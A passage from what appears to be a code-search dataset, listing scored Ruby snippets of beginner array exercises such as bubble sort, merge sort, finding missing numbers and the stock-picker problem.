'no'\n end\nend", "title": "" }, { "docid": "db97c81cc782b2b7cf06683ba223da05", "score": "0.62032574", "text": "def peak_finder(arr)\n new_arr = []\n (0...arr.length-1).each do |ele|\n \n if arr.length == 2 \n if arr[0] < arr[1]\n new_arr << arr[1] \n end\n end\n \n if ele == 0\n if arr[ele] > arr[ele+1]\n new_arr << arr[ele]\n end\n next\n end\n if ele == arr.length-2 \n if arr[ele] > arr[ele+1]\n new_arr << arr[ele+1]\n end \n end\n \n if ele == arr.length-2\n if arr[arr.length-2] < arr[arr.length-1]\n new_arr << arr[arr.length-1]\n end\n end\n if arr[ele] > arr[ele + 1] && arr[ele] > arr[ele - 1]\n new_arr << arr[ele]\n end\n \n end\n new_arr\nend", "title": "" }, { "docid": "087f79a8b470b0fbdfeed34cbef8e9e0", "score": "0.62022346", "text": "def big_diff(array)\n array.sort!\n difference = array[-1] - array[-2]\n return difference\nend", "title": "" }, { "docid": "05da182f57b28f88b43f5855fe6f2f3a", "score": "0.6184764", "text": "def nge(arr)\n s = []\n s.push(arr[0])\n\n for i in 1...arr.length\n curr_elem = arr[i]\n popped_elem = s.pop\n if curr_elem > popped_elem\n puts \"#{popped_elem} -> #{curr_elem}\"\n\n while(!s.empty?)\n popped_elem = s.pop\n if(curr_elem > popped_elem)\n puts \"#{popped_elem} -> #{curr_elem}\" \n else\n s.push(popped_elem)\n break\n end \n end \n else\n s.push(popped_elem)\n end \n s.push(curr_elem)\n end\n\n while(!s.empty?)\n puts \"#{s.pop} -> -1\"\n end \n\nend", "title": "" }, { "docid": "a9fb919189cd269a0314b6b06bc08bea", "score": "0.61846447", "text": "def sum_zero(nums)\n\n index = 0\n\n while nums.length > index # keep track of position in array \"current element\"\n\n index2 = index + 1 # the next index from the current on the right\n\n while nums.length > index2 # keeps the number of times to compare with current element\n\n # sums of two numbers == zeo\n if nums[index] + nums[index2] == 0\n\n # smaller than larger index\n return [index, index2]\n end\n\n index2 += 1\n\n end # inner - while\n\n index += 1\n end\n\n return nil\nend", "title": "" }, { "docid": "720f0ce0a8644ae6081d5871f75f08fb", "score": "0.61838436", "text": "def decpt(arr)\n res = nil\n (1...arr.size).each do |i|\n if arr[i] < arr[i-1]\n return nil if res\n res = i-1\n end\n end\n res\nend", "title": "" }, { "docid": "610998f5170103d66c2159a77eb7a397", "score": "0.6150723", "text": "def makeArrayConsecutive2(statues)\n #find missing numbers in statues\n #store missing numbers in array\n #count how many elements in new array\n statues = statues.sort\n new_statues = (statues.first..statues.last).to_a \n missing_numbers = new_statues-statues\n return missing_numbers.count\n \nend", "title": "" }, { "docid": "baad071b2836c982cee11dd4009035cd", "score": "0.6149505", "text": "def bubble_sort_by (array)\n (array.length - 1).downto(1) do |limit|\n for n in (0...limit)\n if yield(array[n], array[n+1]) > 0\n array[n], array[n+1] = array[n+1], array[n]\n end\n end\n end\n array\nend", "title": "" }, { "docid": "0a5ab7338a0aa1ecae340aec5b97a9da", "score": "0.6142265", "text": "def bubble_sort_by(array)\n\t(1...array.length - 1).each do |iteration|\n\t\t(0...array.length - iteration). each do |index|\n\t\t\tif yield(array[index],array[index + 1]) > 0\n\t\t\t\tarray[index],array[index + 1] = array[index + 1], array[index]\n\t\t\tend\n\t\tend\n\tend\n\treturn array\nend", "title": "" }, { "docid": "28f076d8a4041ab6870fac69d3eaf5a4", "score": "0.6140114", "text": "def stock_picker(arr)\n max = 0\n result = nil\n\n i = 0\n while i < arr.length\n j = i + 1\n while j < arr.length\n total = arr[j] - arr[i]\n if total > max\n max = total\n result = [i, j]\n end\n j += 1\n end\n i += 1\n end\n\n p result\nend", "title": "" }, { "docid": "64542bcce8114fe4846d5d0bd1c0b74b", "score": "0.61327547", "text": "def max_2_sum arr\n #YOUR CODE HERE\n \tx = -1000;\n if arr.length == 0\n \t\tx = 0\n\n elsif arr.length == 1\n \t\tputs \"arr length is 1\"\n \t\tx = arr[0]\n else \n \tfor i in arr\n \t\tif i >= x\n \t\t\tx = i\n \t\t\tarr.delete_at(arr.index(i))\n \t\tend\n \tend\n \ty = -1000;\n \t \tfor i in arr\n \t\tif (i >= y) \n \t\t\ty = i\n \t\tend\n \tend\n\t\tsum = x + y\t\n end\n\nend", "title": "" }, { "docid": "4a370f63a51bb3b80220df4da35a3026", "score": "0.61264443", "text": "def zero_order(arr)\n ordered = false\n new_ord = arr\n while !ordered\n ordered = true\n temp_ord = new_ord\n temp_ord.each_with_index do |el, idx|\n if el == 0 # && temp_ord[idx+1] != 0 && idx != (arr.length - 1)\n # temp_ord[idx], temp_ord[idx+1] = temp_ord[idx+1], temp_ord[idx]\n temp_ord.push(0)\n temp_ord.delete_at(idx)\n end\n end\n ordered = false if new_ord != temp_ord\n new_ord = temp_ord\n end\n return new_ord\nend", "title": "" }, { "docid": "e5b742431de425509efa2d1d88d4bbde", "score": "0.6117833", "text": "def sort_zeros_right(a)\n count = 0\n\n for i in 0...a.length\n if a[i] != 0\n a[count] = a[i]\n count += 1\n end\n end\n\n while count < a.length\n a[count] = 0\n count += 1\n end\n\n return a\nend", "title": "" }, { "docid": "40ba6c2c15c275739d043522fc597e0c", "score": "0.61133975", "text": "def bubble_sort_by(array) \n misplaced = array.size - 1\n while misplaced > 0\n 1.upto(misplaced) do |i|\n if yield(array[i - 1], array[i]) < 0\n array[i - 1], array[i] = array[i], array[i - 1]\n end\n end\n misplaced -= 1\n end\n print array\nend", "title": "" }, { "docid": "9373b9e0282801b196e94e76def2bb43", "score": "0.6111152", "text": "def my_sorting_method(array)\r\n\t# Run once per item in array\r\n\tarray.length.times {\r\n\t# Initialize number of times to loop\r\n\tlooped = 0\r\n\t# Compare item to it's neighbor until its in the right place\r\n\twhile looped < array.length\r\n\t\t# Check if item is greater than it's => neighbor\r\n\t\t# Edge case for last item you can't compare with => neighbor\r\n\t\tif looped == array.length - 1\r\n\t\t\tbreak\r\n\t\t# For all items that are not the last item\r\n\t\telsif array[looped] > array[looped + 1]\r\n\t\t\t# If it's greater, swap with => neighbor\r\n\t\t\tarray[looped], array[looped + 1] = array[looped + 1], array[looped]\r\n\t\tend\r\n\t\t# Increment loop counter\r\n\t\tlooped += 1\r\n\tend\r\n\t}\r\n\t# Return array\r\n\tarray\r\nend", "title": "" }, { "docid": "8460e14730c0dce917ddc8228638baa5", "score": "0.61103636", "text": "def merge(arr1, arr2)\n output = []\n \n total_size = arr1.size + arr2.size\n (0..total_size-1).each do |n|\n if arr2.size == 0\n output << arr1.delete_at(0)\n next\n end\n if arr1.size == 0\n output << arr2.delete_at(0)\n next\n end\n \n if arr1[0] <= arr2[0]\n output << arr1.delete_at(0)\n else\n output << arr2.delete_at(0)\n end\n end\n output\nend", "title": "" }, { "docid": "9dfd867e4083fe138b3743ac36ed5223", "score": "0.6103218", "text": "def solve\n ans, ij = ArrayOfRanges.new, [0, 0]\n while ((0..1).any? {|dx| ij[dx] < ab[dx].size }) do\n if (0..1).any? {|dx| ij[dx] >= ab[dx].size} then\n odx = ((ij.first >= ab.first.size) ? 1 : 0)\n return (ans << [odx, (ij[odx]..-1)])\n end\n \n case ab.first[ij.first] <=> ab.last[ij.last]\n when 1\n ans << [1, (ij.last..ij.last)]\n ij.last += 1\n when -1\n ans << [0, (ij.first..ij.first)]\n ij.first += 1\n when 0\n # TODO this should be optimized, too\n if ab.first[ij.first..-1] < ab.last[ij.last..-1] then\n ans << [0, (ij.first..ij.first)]\n ij.first += 1\n else\n ans << [1, (ij.last..ij.last)]\n ij.last += 1\n end\n end\n end\n ans\n end", "title": "" }, { "docid": "d1cd566eccf19f3bc2ff1035c71bbd0c", "score": "0.61003643", "text": "def missing(array)\r\n result = []\r\n index = 0\r\n (array.size - 1).times do\r\n difference = array[index + 1] - array[index]\r\n if difference > 0 \r\n missing_num = array[index]\r\n (difference - 1).times do\r\n missing_num += 1\r\n result << missing_num\r\n end\r\n end\r\n index += 1\r\n end\r\n result\r\nend", "title": "" }, { "docid": "4b51612810f549dc83ffe86030530ef1", "score": "0.60989827", "text": "def sort\n 1.upto(array.size - 1).each do |index|\n current = index\n while current.positive?\n break unless array[current] < array[current - 1]\n\n array[current], array[current - 1] = array[current - 1], array[current]\n current -= 1\n end\n end\n array\n end", "title": "" }, { "docid": "d344f62b26473090946ca6cddcb55280", "score": "0.60916346", "text": "def missing(sorted_arr)\n number_range = (sorted_arr[0]..sorted_arr[-1])\n result_arr = []\n\n sorted_arr.each_cons(2) do |first, second|\n result_arr += ((first + 1)..(second - 1)).to_a\n end\n\n result_arr\nend", "title": "" }, { "docid": "1d32bc76f3a4b7ac233b4469ab332c6e", "score": "0.608641", "text": "def missing(arr)\n out_arr = []\n prev_elem = arr.first\n arr.each_with_index do |elem, i|\n next if i == 0\n (prev_elem + 1).upto(elem - 1) do |up_elem|\n out_arr << up_elem\n # puts \"up_elem = #{up_elem} written to out_arr\"\n end\n prev_elem = elem\n end\n out_arr\nend", "title": "" }, { "docid": "621c498863b273f8428cc2ff99123e55", "score": "0.6085216", "text": "def sort_array(x)\r\n n = x.length \r\n loop do\r\n completion = false\r\n\r\n (n-1).times do |arr|\r\n if x[arr] < x[arr+1]\r\n x[arr], x[arr+1]=x[arr+1], x[arr]\r\n completion = true\r\n end \r\n end \r\n break if not completion\r\n \r\n end \r\n x\r\nend", "title": "" }, { "docid": "cde925159610fb75713ddd6b55318e55", "score": "0.6083822", "text": "def missing_element(array)\n\n loop do \n swaped = false\n\n (array.length - 1).times do |i|\n if array[i] > array[i+1]\n array[i], array[i+1] = array[i+1], array[i]\n end\n end\n\n break if not swaped \n end\n\n (array.first..array.last).map { |n| return n if not array.include? n }\nend", "title": "" }, { "docid": "066399ea7a2ddde9a438829d82dba203", "score": "0.60703534", "text": "def bubble_sort_by arr\n max_passes = arr.size - 1\n pass = 1\n\n while pass <= max_passes do\n (0...max_passes).each do |i|\n if yield(arr[i], arr[i + 1]) > 0\n arr[i], arr[i + 1] = arr[i + 1], arr[i]\n pass += 1\n elsif yield(arr[i], arr[i + 1]) < 0 && arr[i + 2] != nil\n arr[i + 1], arr[i + 2] = arr[i + 2], arr[i + 1]\n pass += 1\n end\n end\n end\n\n p arr\nend", "title": "" }, { "docid": "98519ab05496d8498f8d616556b52193", "score": "0.60689086", "text": "def bubble_sort_by(arr)\n\tsorted_arr = arr.clone\n\tlen = sorted_arr.length-1\n\tuntil sorted_by_length?(sorted_arr)\n\t\tsorted_arr[0..len].each_with_index do |item, index|\n\t\t\tif sorted_arr[index + 1].nil? == false && yield(sorted_arr[index], sorted_arr[index - 1]) < 0\n\t\t\t\tsorted_arr[index], sorted_arr[index + 1] = sorted_arr[index + 1], sorted_arr[index]\n\t\t\tend\n\t\tend\n\t\tlen -= 1\n\tend\n\treturn sorted_arr\nend", "title": "" }, { "docid": "14c1dab3b575099e845968f72830d95c", "score": "0.6068119", "text": "def waveArray2( arr)\n size = arr.length\n i = 1\n # Odd elements are lesser then even elements.\n while (i < size)\n if ((i - 1) >= 0 && arr[i] > arr[i - 1])\n swap(arr, i, i - 1)\n end\n if ((i + 1) < size && arr[i] > arr[i + 1])\n swap(arr, i, i + 1)\n end\n i += 2\n end\nend", "title": "" }, { "docid": "32c1e4161c22fb05bdbd89c929782785", "score": "0.6067928", "text": "def stock_picker(arr)\n greatest_dif = 0\n greatest_pair = []\n arr.each_with_index do |el, i|\n arr.each_with_index do|el2, i2|\n if i2 > i && arr[i2] - arr[i] > greatest_dif \n greatest_dif = arr[i2] - arr[i]\n greatest_pair << [i, i2]\n end\n end\n end\n greatest_pair.last\nend", "title": "" }, { "docid": "fd524fcbf1f7371941d0031761c18b96", "score": "0.6062816", "text": "def largest_cont_2(array)\n largest_total = array[0]\n running_total = nil\n array.each do |el|\n if running_total.nil? || el > largest_total\n running_total = el\n largest_total = running_total if running_total > largest_total\n elsif running_total + el > 0\n running_total += el\n largest_total = running_total if running_total > largest_total\n else\n running_total = nil\n end\n end\n\n largest_total\nend", "title": "" }, { "docid": "0404f1d5bb69f6f7f5e6d2ed60803777", "score": "0.6061523", "text": "def bubble_sort_by(arr)\n while sorted(arr) == false\n for j in 0..(arr.length-2)\n comparison = yield(arr[j], arr[j+1])\n if comparison > 0\n arr[j], arr[j+1] = arr[j+1], arr[j]\n end\n end\n end\n return arr\nend", "title": "" }, { "docid": "d5781288c86c5bf890fbbd5cd1304053", "score": "0.60580474", "text": "def stock_picker(arr)\n biggest = 0\n biggestArray = []\n (0...arr.length - 1).each do |idx1|\n (idx1+1 ... arr.length).each do |idx2|\n current = [idx1,idx2]\n profit = arr[idx2] - arr[idx1]\n if profit > 0 && profit > biggest\n biggest = profit\n biggestArray = current\n end\n end\n end\n biggestArray\nend", "title": "" }, { "docid": "8be0f00ffc6da3f8215e59e60507bb8e", "score": "0.605718", "text": "def missing_brute(array)\n\tcount = 0\n\tnew_array = []\n\twhile(array.size - 1 > count)\n\t\tif (array[count] + 1) != array[count + 1]\n\t\t\tvalue = array[count]\n\t\t\twhile(value < array[count + 1] - 1)\n\t\t\t\tnew_array << value + 1\n\t\t\t\tvalue += 1\n\t\t\tend\n\t\tend\n\t\tcount += 1\n\tend\n\tnew_array\nend", "title": "" }, { "docid": "475b8b83258ae04eb87f52c20dd7356d", "score": "0.60513765", "text": "def merge(arr_1,arr_2)\n # debugger\n merged_arr = []\n until arr_1.size == 0 && arr_2.size == 0\n\n if arr_1.size == 0 && arr_2.size != 0\n merged_arr += arr_2\n break\n elsif arr_2.size == 0 && arr_1.size != 0\n merged_arr += arr_1\n break\n end\n\n if arr_1.first > arr_2.first\n merged_arr << arr_2.shift\n else arr_1.first <= arr_2.first \n merged_arr << arr_1.shift\n end\n\n end\n merged_arr\nend", "title": "" }, { "docid": "95e2b3db6392c5f3a55cd156b5bdf34b", "score": "0.60479945", "text": "def solution(arr)\n\ti = j = 0\n\ttemp = []\n\twhile (i <= arr.size-1)\n\t\tbreak if temp.size == arr.size\n\t\tif arr[i] == 0\n\t\t\ttemp[j] = 0\n\t\t\tj+=1\n\t\t\ttemp[j] = 0\n\t\telse\n\t\t\ttemp[j] = arr[i]\n\t\tend\n\t\ti += 1\n\t\tj += 1\n\tend\n\ttemp\nend", "title": "" }, { "docid": "1ea7aee8459bce7769ad86b37cb38724", "score": "0.60456604", "text": "def move_zeros(array)\n i = 0\n j = array.length - 1\n while i != j && i < j\n while array[j] == 0 && j > i\n j -= 1\n end\n if array[i] == 0\n array[i], array[j] = array[j], array[i]\n j -= 1\n end\n i += 1\n end\n array\nend", "title": "" }, { "docid": "7192653d2affcd46fb98048483be3fd9", "score": "0.60405725", "text": "def sort_array(a)\n return a if a.nil? || a.empty?\n n = a.size - 1 \n i = 0 \n fwd = 1\n while (fwd <= n) do\n if(a[fwd] == 0) \n a[fwd] = a[i]\n a[i] = 0\n i += 1 \n fwd += 1\n elsif (a[fwd] == 1)\n fwd += 1\n else\n a[fwd] = a[n]\n a[n] = 2\n n -= 1 \n end \n end\n return a\nend", "title": "" }, { "docid": "59a3ddd1b315b03b6dd7625cdb96a83d", "score": "0.60392654", "text": "def next_greater_elements(nums)\n length = nums.length\n output = Array.new(nums.length, -1)\n stack = []\n # traverse array twice.\n Range.new(0, length * 2).each do |idx|\n circular_id = idx % length\n while stack.any? && nums[stack[-1]] < nums[circular_id]\n top = stack.pop\n output[top] = nums[circular_id]\n end\n stack.push circular_id\n end\n output\nend", "title": "" }, { "docid": "c74679fae05d23b1b516664b2fe60d4b", "score": "0.60392606", "text": "def bubble_sort_by(arr)\n (1..arr.length - 1).each do |x|\n (0..arr.length - x).each do |y|\n next unless y != arr.length - 1\n\n sort_param = yield(arr[y], arr[y + 1])\n\n arr[y], arr[y + 1] = arr[y + 1], arr[y] if sort_param.positive?\n end\n end\n arr\nend", "title": "" }, { "docid": "8c80a27b75b73e93eb5cd117660a2de5", "score": "0.60364133", "text": "def bubble_sort_by(arr)\n still_swapping = true\n while still_swapping\n num_swaps = 0\n arr.each_with_index do |item, index|\n unless index == 0\n if yield(arr[index -1], arr[index]) > 0\n arr[index -1], arr[index] = arr[index], arr[index - 1]\n num_swaps += 1\n end\n end\n end\n still_swapping = false if num_swaps == 0\n end\n return arr\nend", "title": "" }, { "docid": "5fbb4b79f1686e4b10df7aced88a6b9d", "score": "0.6033503", "text": "def get_sorted_array(array)\n\n size = array.size()\n pass = size\n\n for i in (0..pass - 2)\n\n for j in (0..pass - 2)\n\n if (array[j + 1] < array[j])\n\n tmp = array[j]\n array[j] = array[j + 1]\n array[j + 1] = tmp\n\n end\n\n end\n\n end\n\n return array\n\n end", "title": "" }, { "docid": "ee8d99884a055a8c22e934df3c569998", "score": "0.60332274", "text": "def bubble_sort_by (my_array)\n verif = false\n while verif == false do\n verif = true\n my_array.each_with_index do |item, index|\n # yield(my_array[index], my_array[index+1]) will be the result from the block below:\n # right.length - left.length\n if (index < my_array.length-1) && (yield(my_array[index], my_array[index+1]) < 0)\n my_array[index] , my_array[index+1] = my_array[index+1], my_array[index]\n verif = false\n end\n end\n end\n print my_array\nend", "title": "" }, { "docid": "302acda6c1c1b4096d32c026b01b3247", "score": "0.60294217", "text": "def bubble_sort(array)\n array.each_index do |i|\n (array.length - i - 1).times do |job|\n # take the length of the array, we sutract 1 from it\n # so that we don't compare last element to nil\n # eliminates the number of elements we need to compare on array\n if array[job] > array[job+1]\n array[job],array[job+1] = array[job+1],array[job]\n end # ends if statement\n end # ends times loop\n end # ends each loop\n array\nend", "title": "" }, { "docid": "27d06be624878a3e65a1f8b9ea20b530", "score": "0.6021435", "text": "def phase2(arr)\n min = arr.first\n return min if arr.length == 1\n\n (1..arr.length - 1).each do |i|\n if arr[i] < min\n min = arr[i]\n end\n end\n\n min\nend", "title": "" }, { "docid": "f1b0c6e4a24edc7d72764d1a18d66d5c", "score": "0.6020343", "text": "def sorted_array_square(arr)\n negatives = []\n positives = []\n arr.each do |num|\n if num < 0\n negatives << num ** 2\n else\n positives << num ** 2\n end\n end\n\n result = [] \n i = 0\n until negatives.empty? || i == positives.length\n if negatives.last < positives[i]\n result << negatives.pop\n else\n result << positives[i]\n i += 1\n end\n end\n\n result + negatives.reverse + positives[i..-1]\nend", "title": "" }, { "docid": "6f3e6836ba50ed225e55d60b9f8f32a7", "score": "0.6014939", "text": "def bubble_sort_by(input_arr)\n\tarr = input_arr.clone\n\tarr.length.times do\n\t\tswap_made = false\n\t\tarr.each_with_index do |elem, index|\n\t\t\tif index+1 < arr.length && yield(elem, arr[index+1]) < 0\n\t\t\t\tarr[index],arr[index+1] = arr[index+1],arr[index]\n\t\t\t\tswap_made = true\n\t\t\tend\n\t\tend\n\t\tbreak unless swap_made\n\tend\n\tarr\nend", "title": "" }, { "docid": "b785c71664abf519f59fb2519a8a6c9e", "score": "0.60126036", "text": "def merge_sort_with_extra_arrays(array)\n\n if array.size <= 1\n return array\n end\n \n partition = ((array.size - 1 ) / 2).floor \n \n left_array = []\n right_array = []\n sorted_array = []\n \n array.each_index do |index|\n if index <= partition\n left_array.push(array[index])\n else\n right_array.push(array[index])\n end\n \n end\n\n left_array = merge_sort_with_extra_arrays(left_array)\n right_array = merge_sort_with_extra_arrays(right_array)\n\n index = 0\n r_index = 0\n times = 0\n while (index + r_index) < array.size\n # puts \"left #{index} right #{index}, #{left_array.size + right_array.size}\"\n # p left_array\n # p right_array\n # p sorted_array\n if index < left_array.size and r_index < right_array.size\n if left_array[index] <= right_array[r_index]\n sorted_array.push(left_array[index])\n index += 1 \n else\n sorted_array.push(right_array[r_index])\n r_index += 1\n end\n elsif index == (left_array.size ) and r_index < right_array.size\n sorted_array.push(right_array[r_index])\n r_index += 1\n elsif r_index == (right_array.size ) and index < left_array.size\n sorted_array.push(left_array[index])\n index += 1\n end\n end\n return sorted_array\nend", "title": "" }, { "docid": "a966549462655eceeab23002a71a2cca", "score": "0.60105026", "text": "def bubble_sorting array\n#assign length of the array = variable(z)\n z = array.length\n# like a while loop\n loop do\n#boolean variable called \"sorted\" = false is when algorithm should exit\n# if true keeps looping\n sorted = false\n#Inside loop check the value of each element and compare it w/ the next one\n# how many times it runs = z-1\n (z-1).times do |i|\n if array[i] > array[i+1]\n array[i], array[i+1]=array[i+1], array[i]\n#ends loop once sorting = true \n sorted = true\n end\n end\n\n break if not sorted\n end\n\n array\nend", "title": "" }, { "docid": "2aae31c810683bcd7904ee0a08306de1", "score": "0.6008884", "text": "def SecondGreatLow(arr)\n arr.sort!\n i = 1\n j = arr.length - 2\n \n i += 1 while i < arr.length && arr[0] == arr[i]\n j -= 1 while j >= 0 && arr[j] == arr[arr.length - 1]\n \n return \"#{arr[0]} #{arr[0]}\" if j < 0\n \n return \"#{arr[i]} #{arr[j]}\" \nend", "title": "" }, { "docid": "895ac52ef9b2bd2d0918ded672d075b6", "score": "0.6006261", "text": "def bubble_sort_by(arr)\n my_arr = arr\n condition = true\n while condition\n condition = false\n (0...arr.length - 1).each do |i|\n next unless yield(my_arr[i], my_arr[i + 1]).positive?\n\n temp = my_arr[i]\n my_arr[i] = my_arr[i + 1]\n my_arr[i + 1] = temp\n condition = true\n end\n end\n my_arr\nend", "title": "" }, { "docid": "80f40532d614f7df20e85d1265a6e3a8", "score": "0.60020745", "text": "def array_sort(array, returned_array=[])\n x = array.length\n lowest_element = array[0]\n (x - 1).times { |n| lowest_element = array[(n + 1)] if lowest_element > array[(n + 1)] }\n returned_array << lowest_element\n index = array.rindex(lowest_element)\n array.delete_at(index)\n array_sort(array, returned_array) until array.length == 0\n returned_array\nend", "title": "" }, { "docid": "90b5607f921cd76771c809da3603108b", "score": "0.6001825", "text": "def bubble_sort_by(arr)\n changes = true\n while changes\n changes = false\n (arr.size - 1).times do |i|\n compare = yield arr[i], arr[i + 1]\n if compare.positive?\n arr[i], arr[i + 1] = arr[i + 1], arr[i]\n changes = true\n end\n end\n end\n arr\nend", "title": "" }, { "docid": "09614f1815d75411adc36bca5d8c9ed8", "score": "0.600155", "text": "def my_sorting_method(array)\n\t# Run once per item in array\n\tarray.length.times {\n\t# Initialize number of times to loop\n\tlooped = 0\n\t# Compare item to it's neighbor until its in the right place\n\twhile looped < array.length\n\t\t# Check if item is greater than it's => neighbor\n\t\t# Edge case for last item you can't compare with => neighbor\n\t\tif looped == array.length - 1\n\t\t\tbreak\n\t\t# For all items that are not the last item\n\t\telsif array[looped] > array[looped + 1]\n\t\t\t# If it's greater, swap with => neighbor\n\t\t\tarray[looped], array[looped + 1] = array[looped + 1], array[looped]\n\t\tend\n\t\t# Increment loop counter\n\t\tlooped += 1\n\tend\n\t}\n\t# Return array\n\tarray\nend", "title": "" }, { "docid": "c09f1bd0224147c586e6df16e43c1b69", "score": "0.6001012", "text": "def bubble_sort_by(numbers)\n\t(numbers.length-1).times{\n\t\tfor i in 0...numbers.length-1\n\t\t\tif yield(numbers[i], numbers[i+1]) > 0\n\t\t\t\tnumbers[i], numbers[i+1] = numbers[i+1], numbers[i]\n\t\t\tend\n\t\tend\n\t}\n\treturn numbers\nend", "title": "" }, { "docid": "87590daa79a722ab5fa550ab314ae4a8", "score": "0.5999976", "text": "def get_missed(arr)\n missed_elements = find_missed_elements(arr)\n case missed_elements.length\n when 0 ## STEP 2 ##\n if (1 - arr.first) == -2\n missed_elements << arr.first - 1\n missed_elements << arr.first - 2\n elsif (1 - arr.first) == -1\n missed_elements << arr.first - 1\n missed_elements << arr.last + 1\n elsif (1 - arr.first) == 0\n missed_elements << arr.last + 1\n missed_elements << arr.last + 2\n end\n when 1 ## STEP 3 ##\n if missed_elements.include?(arr.first - 1)\n missed_elements << arr.last + 1\n else\n missed_elements << arr.first - 1\n end\n end\n missed_elements ## STEP 1 ##\nend", "title": "" }, { "docid": "7eb84e76d10d0684921cdf7f759a1686", "score": "0.5992017", "text": "def bubble_sort_by(arr)\n\n n = arr.length\n \n while (n > 1) do\n for i in 0...n-1\n if block_given?\n var = yield arr[i], arr[i+1]\n if var > 0\n arr[i+1], arr[i] = arr[i], arr[i+1]\n end\n elsif arr[i] > arr[i+1] \n arr[i+1], arr[i] = arr[i], arr[i+1] \n end\n end\n n = n-1\n end\n return arr\nend", "title": "" }, { "docid": "559196dba2eda23722384b19d507cad9", "score": "0.5982292", "text": "def array_manip(array)\n array.map.with_index do |num, idx|\n array[idx..-1].sort.find { |n| n > num }\n end.map { |x| x.nil? ? -1 : x }\nend", "title": "" }, { "docid": "d9de676e4abfe0f4a57f91a55f1a8875", "score": "0.59735936", "text": "def bubble_sort_by(array)\n\tfor i in 0...array.length\n\t\tarray.map.with_index do |item, index|\n\t\t\tif array[index+1] != nil && yield(item, array[index+1]) > 0\n\t\t\t\ttemp = array[index+1]\n\t\t\t\tarray[index+1] = item\n\t\t\t\tarray[index] = temp\n\t\t\tend\n\t\tend\n\tend\n\tarray\nend", "title": "" }, { "docid": "51ecac1046ad3d4afddcd69161ddac63", "score": "0.59703743", "text": "def lcs2(arr)\n largest = 0\n current = 0\n\n return arr.max if arr.all? { |num| num < 0 }\n\n arr.each do |num|\n\n if current < 0\n current = 0 \n end\n\n current += num\n\n if current > largest\n largest = current \n end\n\n end\n\n largest\nend", "title": "" }, { "docid": "dd8e7bdf27b443818661ca3a2689b035", "score": "0.5969919", "text": "def sort_and_count(arr, running_total = 0)\n return [arr, 0] if arr.length <= 1\n left_return = sort_and_count(arr.take(arr.length / 2), running_total)\n left_arr = left_return[0]\n \n right_return = sort_and_count(arr.drop(arr.length / 2), running_total)\n right_arr = right_return[0]\n \n running_total = running_total + right_return[1] + left_return[1]\n \n merged_result = []\n until left_arr.empty? || right_arr.empty?\n if left_arr[0] < right_arr[0]\n merged_result << left_arr.shift\n else\n merged_result << right_arr.shift\n ### zero inversions would mean that every element in the left array would be shifted\n ### before every element in the right, so whenever a right element is shifted over any\n ### remaining elements in the left array are inversions\n running_total += left_arr.length\n end\n end\n\n [merged_result + left_arr + right_arr, running_total]\nend", "title": "" }, { "docid": "725181cbf27baefa9c3c8f42b348f47b", "score": "0.5969495", "text": "def zero_end(arr)\n count = 0\n (0..arr.length-1).each do |i|\n if arr[i] != 0\n arr[count] = arr[i]\n count += 1\n end\n end\n\n (count..arr.length-1).each do |j|\n arr[j] = 0\n end\n arr\nend", "title": "" }, { "docid": "7f14f97a06787d32203cb009086024b9", "score": "0.5969033", "text": "def ordenarArray(array)\n begin\n trocado = false\n for i in 0..array.size - 2 do\n if array[i] > array[i+1]\n array[i], array[i+1] = array[i+1], array[i]\n trocado = true\n end\n end\n end while trocado == true\n\n return array\nend", "title": "" }, { "docid": "4d1942b1f870998cafac8997f8b0b00c", "score": "0.5967244", "text": "def bubble_sort_by(arr)\n index = 0\n while (index < (arr.length - 1)) do\n rep = 0\n (arr.length - 1).times { yield(arr[rep], arr[rep + 1]) > 0 ? \\\n (arr[rep], arr[rep + 1] = arr[rep + 1], arr[rep]; index += 1) \\\n : (index += 1) }\n end\n return arr\nend", "title": "" }, { "docid": "a0fc6be518823714a7ec420ec3087029", "score": "0.596155", "text": "def array(array)\n\n arr = array.dup\n return arr.max if arr.all? { |el| el <= 0 }\n first = arr.shift\n current = first\n largest = first\n\n arr.each_index do |i|\n current = 0 if current + arr[i] < 0\n current += arr[i] if current + arr[i] >= 0\n largest = current if current > largest\n end\n\n largest\nend", "title": "" }, { "docid": "de2644b53eb7118446ecb47a71795639", "score": "0.59607023", "text": "def bubble_sort(arr)\n unsorted = true\n sorted = []\n\n while unsorted\n# when you have locked every index and only have one value your bubble sort should be complete \n if arr.length == 0\n unsorted = false\n end\n 0.upto(arr.length-1) do |i|\n# lock that last index( push it to a new array?) and start the algorithim again at the first index\n if i == arr.length-1 \n sorted.unshift(arr.last)\n arr.delete_at(i)\n\n elsif arr[i] < arr[i+1]\n next\n# starting at the first index for each pair of numbers find the the greater of the two and make them swap places\n elsif arr[i] > arr[i+1]\n first = arr[i+1]\n second = arr[i]\n arr[i] = first\n arr[i + 1] = second\n end\n end\n end\n# output - the sorted locked array of number\n return sorted\nend", "title": "" }, { "docid": "6f34ab39cb1c70256f53d5e171d70136", "score": "0.5960585", "text": "def sort arr\nreturn arr if arr.length <= 1\n middle = arr.pop\n less = arr.select{|x| x < middle}\n more = arr.select{|x| x >= middle}\n sort(less) + [middle] + sort(more)\nend", "title": "" }, { "docid": "4ca9ff0a57f403bac8f264a678a073f7", "score": "0.5960444", "text": "def bubble_sort_by(array)\n unsorted = true\n while unsorted\n (0..(array.length - 2)).each do |index|\n array[index], array[index + 1] = array[index + 1], array[index] if yield(array[index], array[index + 1]).positive?\n end\n unsorted = false\n end\n array\nend", "title": "" }, { "docid": "4ae4150cc336f9b64a1a79b6f63a6f37", "score": "0.59577775", "text": "def code_optimization(*arrays)\ncombined_array = arrays.flatten\n\nsorted_array = [combined_array.delete_at(combined_array.length-1)]\n\nfor val in combined_array\n i = 0\n while i < sorted_array.length\n current_sorted_array_item = sorted_array[i]\n if val <= current_sorted_array_item\n sorted_array.insert(i, val)\n break\n elsif i == sorted_array.length - 1\n sorted_array << val\n break\n end\n i+=1\n end\nend\n\n# Return the sorted array\nsorted_array\nend", "title": "" }, { "docid": "f0e45bcc857e0205e5e74d47b734e8a4", "score": "0.59552205", "text": "def merge_sort(array, start_index, end_index)\n\n if start_index == end_index\n return [ array[start_index] ]\n end\n partition_point = ((start_index + end_index ) / 2).floor #ensure the left subarry is smaller\n\n #sort left sub-array\n left_array = merge_sort( array, start_index, partition_point )\n right_array = merge_sort( array, partition_point + 1 , end_index)\n \n #merge step \n new_array = []\n\n while left_array.size > 0 or right_array.size >0\n if !left_array.empty? and !right_array.empty?\n if left_array[0] >= right_array[0]\n new_array.push( right_array.delete_at(0) )\n \n else\n new_array.push( left_array.delete_at(0) )\n \n end\n elsif !left_array.empty?\n \n new_array.push( left_array.delete_at(0) 